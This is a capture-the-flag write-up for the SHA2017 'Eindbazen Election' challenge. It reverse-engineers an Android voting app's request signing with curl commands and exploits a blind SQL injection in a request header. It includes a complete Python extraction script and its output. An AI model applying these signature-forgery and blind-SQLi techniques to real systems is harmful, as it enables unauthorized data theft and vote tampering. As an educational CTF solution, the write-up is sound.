Another challenge written by me was the Web 300 – Eindbazen Election challenge running on https://vote.stillhackinganyway.nl/. This page contains a ranking of all Eindbazen members, a link to the Android voting software and a QR code.
I wrote this challenge, because we had all those cool images created by Thice and because Dutch election software is apparently broken. So I decided to create my own safe election software.
The goal of the challenge is to figure out how the Android application is talking to the website and to see if we can use that to get more information from the database or gain access to the website.
Android application
If you open the Android application you see a list of the Eindbazen members to choose from. If you choose one you get the option to vote. And if you push vote you have to scan the QR code on the website. Since the application got some protection against altering and SSL-Man-in-the-Middle-attacks, we open it with jadx to read the decompiled source code.
The application is using ProGuard to do some obfuscation and make the application less readable. First we read strings.xml to see if there is some interesting information:
1 2 3 4 5 6 7 8 |
$ cat res/values/strings.xml ... <string name="api_url">https://vote.stillhackinganyway.nl</string> <string name="app_key">87934-832982-230972-1298329-7631</string> <string name="app_name">Eindbazen Election</string> <string name="img_url">https://vote.stillhackinganyway.nl/images/</string> <string name="sig">D1VKklKqrkUaCcutFWvdyef4RNk=</string> |
There are some interesting strings used in the application. One of them is the api_url. Let’s see if we can find the source code which uses this string.
1 2 3 4 |
$ find . -name "*.java" -exec grep -H R.string.api_url {} \; ./org/sha2017/ctf/eindbazenelection/f.java: d = b.getString(R.string.api_url); ./org/sha2017/ctf/eindbazenelection/f.java: aa a = new a().a(new g.a().a("vote.stillhackinganyway.nl", "sha256/3Oipk5V4R7In6raIGYM1aV2HjKfsyw/vbXJb1c+MScs=").a()).a().a(new y.a().a(b.getString(R.string.api_url)).a()).a(); |
Only one source file is using the api_url string. Let’s open this file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
public class f { static String a; static Context b; static String c; static String d; public static String a() { return a; } public static void a(Context context) { b = context; d = b.getString(R.string.api_url); } public static void a(String str) { c = str; c(); } public static String b() { return d + c; } public static void b(String str) { String str2 = c + Secure.getString(b.getContentResolver(), "android_id") + str + f(); MessageDigest messageDigest = null; try { messageDigest = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } messageDigest.reset(); a = String.format("%0" + (messageDigest.digest(str2.getBytes()).length * 2) + "x", new Object[]{new BigInteger(1, r0)}); } ... public static void c() { b(""); } private static byte[] c(String str) { int length = str.length(); byte[] bArr = new byte[(length / 2)]; for (int i = 0; i < length; i += 2) { bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16)); } return bArr; } public static int d() { Throwable e; Throwable th; int i = 0; InputStream inputStream = null; String string = Secure.getString(b.getContentResolver(), "android_id"); try { if (VERSION.SDK_INT > 8) { StrictMode.setThreadPolicy(new Builder().permitAll().build()); } URLConnection openConnection = new URL(b()).openConnection(); openConnection.setRequestProperty("X-Signature", a()); openConnection.setRequestProperty("X-Device-Id", string); InputStream bufferedInputStream = new BufferedInputStream(openConnection.getInputStream()); ... |
We notice a connection is made to an url provided by the b() function with two headers (X-Signature and X-Device-Id). The X-Device-Id is the ID of the Android device, and X-Signature is provided by the a() function.
The URL
The b() function returns the String d + c. The d variable is the api_url we found in strings and the c variabele is set by the a(String str) function. Let’s see where this is used.
1 2 3 4 5 6 |
$ find org -name "*.java" -exec grep -H 'f.a(' {} \; ... org/sha2017/ctf/eindbazenelection/MainActivity.java: f.a("/api.php?action=get_list"); org/sha2017/ctf/eindbazenelection/VoteActivity.java: f.a("/api.php?action=vote&id=" + this.n); org/sha2017/ctf/eindbazenelection/VoteActivity.java: f.a("/api.php?action=get_score&id=" + this.n); |
So there are three actions to submit to the api:
- https://vote.stillhackinganyway.nl/api.php?action=get_list
- https://vote.stillhackinganyway.nl/api.php?action=vote&id=XXX
- https://vote.stillhackinganyway.nl/api.php?action=get_score&id=XXX
Let’s see if we can get some information from the api with curl.
1 2 3 |
$ curl https://vote.stillhackinganyway.nl/api.php?action=get_list Invalid request |
Apparently we have to use the supplied headers. We assume we can fill anything into the X-Device-Id, so let’s see how we can get the X-Signature header.
X-Signature header
The X-Signature is provided by the a() function which only returns string a. String a is set with the b(String str) function. We also see a c() function which calls b(“”), so the argument of b(String str) can be empty. Let’s have a closer look to this function.
1 2 3 4 5 6 7 8 9 10 11 12 |
public static void b(String str) { String str2 = c + Secure.getString(b.getContentResolver(), "android_id") + str + f(); MessageDigest messageDigest = null; try { messageDigest = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } messageDigest.reset(); a = String.format("%0" + (messageDigest.digest(str2.getBytes()).length * 2) + "x", new Object[]{new BigInteger(1, r0)}); } |
So basically it’s a SHA-256 hash of c + ANDROID_ID + str + f(). We know c, cause that is the second part of the url, the android_id is the X-Device-Id header, the str part can be empty, so all we need to know is what the f() function returns. Let’s have a look at this function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
private static byte[] c(String str) { int length = str.length(); byte[] bArr = new byte[(length / 2)]; for (int i = 0; i < length; i += 2) { bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16)); } return bArr; } ... private static String f() { String string = b.getString(R.string.app_key); byte[] c = c("01005c55041f0a56020b0c53140105080a0056485007000e5654091855550a04"); byte[] bytes = string.getBytes(); byte[] bArr = new byte[bytes.length]; for (int i = 0; i < bytes.length; i++) { bArr[i] = (byte) (bytes[i] ^ c[i]); } return new String(bArr); } |
It looks like the f() function does a XOR on the app_key and the output of the c() function, which seems to be a hex2byte function. So let’s get the output ourselves.
1 2 3 |
$ perl -le 'print "87934-832982-230972-1298329-7631"^"\x01\x00\x5c\x55\x04\x1f\x0a\x56\x02\x0b\x0c\x53\x14\x01\x05\x08\x0a\x00\x56\x48\x50\x07\x00\x0e\x56\x54\x09\x18\x55\x55\x0a\x04"' 97ef022e024a936837dea596ef05bc95 |
With this output we can now calculate a X-Signature, let’s try to get the get_list again with curl.
1 2 3 4 5 |
$ echo -en "/api.php?action=get_listANDROID_ID97ef022e024a936837dea596ef05bc95" | sha256sum 7a23a858b308ce52f1831a450889a261ebcd9940bdd99c5298bc4c0d1e8fd6c9 $ curl -H "X-Signature: 7a23a858b308ce52f1831a450889a261ebcd9940bdd99c5298bc4c0d1e8fd6c9" -H "X-Device-Id: ANDROID_ID" https://vote.stillhackinganyway.nl/api.php?action=get_list ; echo [{"id":1,"name":"asby","img_link":"asby.png"},{"id":2,"name":"atum","img_link":"atum.png"},{"id":3,"name":"blasty","img_link":"blasty.png"},{"id":4,"name":"Dutchy","img_link":"Dutchy.png"},{"id":5,"name":"gijs","img_link":"gijs.png"},{"id":6,"name":"haakjes","img_link":"haakjes.png"},{"id":7,"name":"ius","img_link":"ius.png"},{"id":8,"name":"Karimo","img_link":"Karimo.png"},{"id":9,"name":"Lucky","img_link":"Lucky.png"},{"id":10,"name":"manderson","img_link":"manderson.png"},{"id":11,"name":"Reinhart","img_link":"Reinhart.png"},{"id":12,"name":"sj0rz","img_link":"sj0rz.png"},{"id":13,"name":"skier","img_link":"skier.png"},{"id":14,"name":"Thice","img_link":"Thice.png"},{"id":15,"name":"xyrex","img_link":"xyrex.png"}] |
And it seems to work. We now can talk to the api. Let’s see what we can do with the other two api calls.
1 2 3 4 5 6 7 8 9 10 |
$ echo -en "/api.php?action=get_score&id=1ANDROID_ID97ef022e024a936837dea596ef05bc95" | sha256sum bb7bd84b69138e1d29e0e0257f146f27fc34ecb04b79ffa5c8e5b83e5cedd768 - $ curl -H "X-Signature: bb7bd84b69138e1d29e0e0257f146f27fc34ecb04b79ffa5c8e5b83e5cedd768" -H "X-Device-Id: ANDROID_ID" "https://vote.stillhackinganyway.nl/api.php?action=get_score&id=1" ; echo {"id":1,"votes":10832} $ echo -en "/api.php?action=vote&id=1ANDROID_ID97ef022e024a936837dea596ef05bc95" | sha256sum c49b52b6f29b655a1d3b372fb20fa7871163a8b28b484fa9a1e4e97d67b28d88 - $ curl -H "X-Signature: c49b52b6f29b655a1d3b372fb20fa7871163a8b28b484fa9a1e4e97d67b28d88" -H "X-Device-Id: ANDROID_ID" "https://vote.stillhackinganyway.nl/api.php?action=vote&id=1" ; echo Invalid request |
So, we can get the list, we can get the amount of votes of an id, but still can’t vote. Since the voting works by scanning a QR-code, we probably have to do something with this. Let’s have a look at the VoteActivity.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
... protected void onActivityResult(int i, int i2, Intent intent) { b a = a.a(i, i2, intent); if (a == null) { super.onActivityResult(i, i2, intent); } else if (a.a() == null) { Toast.makeText(this, "Scan cancelled", 1).show(); } else { f.a("/api.php?action=vote&id=" + this.n); f.b(a.a()); getLoaderManager().initLoader(0, null, this); } } ... |
We notice the onActivityResult function, which is probably called after the scanning. We also see that the f.a() function is called to set the path to /api.php?action=vote&id=X and we see that the f.b() is called with as argument a.a(), which we can assume is the scanned QR-code. So, to send a vote, we need to create the following X-Signature.
1 2 |
sha256(path + android_id + qr_code + "97ef022e024a936837dea596ef05bc95") |
QR-code
So our next job is to scan the QR-code. We can use zbar to do this.
1 2 3 4 5 6 7 8 9 10 11 |
$ cat vote.sh #!/bin/bash QR=$(curl -s https://vote.stillhackinganyway.nl/qr_img.php > qr.png ; zbarimg -q qr.png|cut -f2 -d:) SIGNATURE=$(echo -en "/api.php?action=vote&id=1ANDROID_ID${QR}97ef022e024a936837dea596ef05bc95" | sha256sum |cut -f1 -d" ") curl -H "X-Signature: ${SIGNATURE}" -H "X-Device-Id: ANDROID_ID" "https://vote.stillhackinganyway.nl/api.php?action=vote&id=1" ;echo $ ./vote.sh {"id":1,"voted":true} $ ./vote.sh Already voted |
So we are now also able to vote. But only once. Since we successfully can talk to the API, we can now focus to see if we can use these API functions to get the flag.
SQL injection
The next step can take some time to figure out. As the challenge creator I know where the flaw is. But let’s see if we can think logically and figure it out. We have 3 api calls:
- /api.php?action=get_list
- /api.php?action=get_score&id=X
- /api.php?action=vote&id=X
The first call returns a list of all Eindbazen, we can’t inject anything there. The second and third call we can test if we can inject anything into the id parameter.
1 2 3 4 5 6 7 8 9 10 11 12 |
$ cat get_score.sh #!/bin/bash SIGNATURE=$(echo -en "/api.php?action=get_score&id=${1}ANDROID_ID97ef022e024a936837dea596ef05bc95" | sha256sum |cut -f1 -d" ") curl -H "X-Signature: ${SIGNATURE}" -H "X-Device-Id: ANDROID_ID" "https://vote.stillhackinganyway.nl/api.php?action=get_score&id=${1}" echo $ ./get_score.sh "3'+OR+1=1" {"id":3,"votes":30} $ ./get_score.sh "3'+AND+1=2" {"id":3,"votes":30} $ ./get_score.sh "aaaa" Invalid ID |
And the same happens for the vote function. So guess we have to look further. Besides the id parameter we also controls the X-Signature and the X-Device-Id header. The X-Signature is only used to check if the request is not tampered with, but we have full control on the X-Device-Id header. We also know that we can only vote once. Maybe this header is used to prevent multiple votes. Let’s alter our vote.sh script and check this out.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ cat vote.sh #!/bin/bash ANDROID_ID=$1 QR=$(curl -s https://vote.stillhackinganyway.nl/qr_img.php > qr.png ; zbarimg -q qr.png|cut -f2 -d:) SIGNATURE=$(echo -en "/api.php?action=vote&id=1${ANDROID_ID}${QR}97ef022e024a936837dea596ef05bc95" | sha256sum |cut -f1 -d" ") curl -H "X-Signature: ${SIGNATURE}" -H "X-Device-Id: ${ANDROID_ID}" "https://vote.stillhackinganyway.nl/api.php?action=vote&id=1" echo $ ./vote.sh A {"id":1,"voted":true} $ ./vote.sh A Already voted $ ./vote.sh B {"id":1,"voted":true} $ ./vote.sh "A'+OR+1=1--" Query failed $ ./vote.sh "F'OR+1=1--" Already voted $ ./vote.sh "F'OR+1=3--" {"id":1,"voted":true} $ ./vote.sh "F'OR+1=3--" {"id":1,"voted":true} |
First of all we are able to vote multiple times, now let’s get famous, cause we have broken this election. Secondly we notice a blind sql injection. To get the necessary information from the database I created the following Python script.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
#!/usr/bin/env python import hashlib import requests import qrtools import shutil import sys import string import random import os DEBUG=False url = "https://vote.stillhackinganyway.nl" path = "/api.php?action=vote&id=1" qr = "" s = requests.Session() def vote(url, path): print "[+] Voting once" get_url(url, path, "bla") def calc_hash(path, dev_id, qr): return hashlib.sha256(path + dev_id + qr + "97ef022e024a936837dea596ef05bc95").hexdigest() def read_qr(url): if DEBUG: print "[+] Getting QR Code" img = 'img.png' r = requests.get(url, stream=True) with open(img, 'wb') as out: shutil.copyfileobj(r.raw, out) qr=qrtools.QR() qr.decode(img) os.remove(img) return qr.data def get_url(url, path, dev_id): global qr headers = { 'X-Signature': calc_hash(path, dev_id, qr), 'X-Device-Id': dev_id } resp= s.get(url + path, headers=headers).content if resp == "Invalid request": # Invalid QR code, get new one qr = read_qr(url + "/qr_img.php") return s.get(url + path, headers=headers).content else: return resp def get_sql(url, path, sql): print "[+] Starting Blind SQLi: {}".format(sql) query = "bla' AND CASE WHEN (SUBSTR({},{},1)=CHR({})) THEN true ELSE false END--" out = "" for pos in range(1,500): found = 0 for char in string.printable: resp = get_url(url, path, query.format(sql, pos, ord(char))) if resp == "Already voted": out += str(char) if DEBUG: print out found += 1 continue if found == 0: return out return out def format_table(s): out = "" for i in s: out += "CHR({})||".format(ord(i)) return out[:-2] # Vote once qr = read_qr(url + "/qr_img.php") vote(url, path) # Get version print "[+] Getting version" print "[+] Found version: {}".format(get_sql(url, path, "version()")) # Get database print "[+] Getting database name" print "[+] Found database name: {}".format(get_sql(url, path, "current_database()")) # Get table names print "[+] Getting table names" print "[+] Found table name: {}".format(get_sql(url, path, "(SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 0)")) print "[+] Found table name: {}".format(get_sql(url, path, "(SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 1)")) # Get column names print "[+] Getting column names 'eindbazen'" print "[+] Found column name: {}".format(get_sql(url, path, "(SELECT column_name FROM information_schema.columns where table_name={} LIMIT 1 OFFSET 0)".format(format_table("eindbazen")))) print "[+] Found column name: {}".format(get_sql(url, path, "(SELECT column_name FROM information_schema.columns where table_name={} LIMIT 1 OFFSET 1)".format(format_table("eindbazen")))) print "[+] Found column name: {}".format(get_sql(url, path, "(SELECT column_name FROM information_schema.columns where table_name={} LIMIT 1 OFFSET 2)".format(format_table("eindbazen")))) print "[+] Found column name: {}".format(get_sql(url, path, "(SELECT column_name FROM information_schema.columns where table_name={} LIMIT 1 OFFSET 3)".format(format_table("eindbazen")))) # Get flag print "[+] Getting flag link" print "[+] Found flag image: {}".format(get_sql(url, path, "(SELECT img_link FROM eindbazen WHERE active=false)")) |
It will take some time to run this script, but it will give us the following output.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ./solve.py [+] Voting once [+] Getting version [+] Starting Blind SQLi: version() [+] Found version: PostgreSQL 9.5.9 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609, 64-bit [+] Getting database name [+] Starting Blind SQLi: current_database() [+] Found database name: vote_db [+] Getting table names [+] Starting Blind SQLi: (SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 0) [+] Found table name: eindbazen [+] Starting Blind SQLi: (SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 1) [+] Found table name: votes [+] Getting column names 'eindbazen' [+] Starting Blind SQLi: (SELECT column_name FROM information_schema.columns where table_name=CHR(101)||CHR(105)||CHR(110)||CHR(100)||CHR(98)||CHR(97)||CHR(122)||CHR(101)||CHR(110) LIMIT 1 OFFSET 0) [+] Found column name: id [+] Starting Blind SQLi: (SELECT column_name FROM information_schema.columns where table_name=CHR(101)||CHR(105)||CHR(110)||CHR(100)||CHR(98)||CHR(97)||CHR(122)||CHR(101)||CHR(110) LIMIT 1 OFFSET 1) [+] Found column name: name [+] Starting Blind SQLi: (SELECT column_name FROM information_schema.columns where table_name=CHR(101)||CHR(105)||CHR(110)||CHR(100)||CHR(98)||CHR(97)||CHR(122)||CHR(101)||CHR(110) LIMIT 1 OFFSET 2) [+] Found column name: img_link [+] Starting Blind SQLi: (SELECT column_name FROM information_schema.columns where table_name=CHR(101)||CHR(105)||CHR(110)||CHR(100)||CHR(98)||CHR(97)||CHR(122)||CHR(101)||CHR(110) LIMIT 1 OFFSET 3) [+] Found column name: active [+] Getting flag link [+] Starting Blind SQLi: (SELECT img_link FROM eindbazen WHERE active=false) [+] Found flag image: Sup3rS3kr1tFl4gFil3Yo___.png |
We finally get a link to an image file. All other images are found in https://vote.stillhackinganyway.nl/images/, so let’s open this file and get a flag.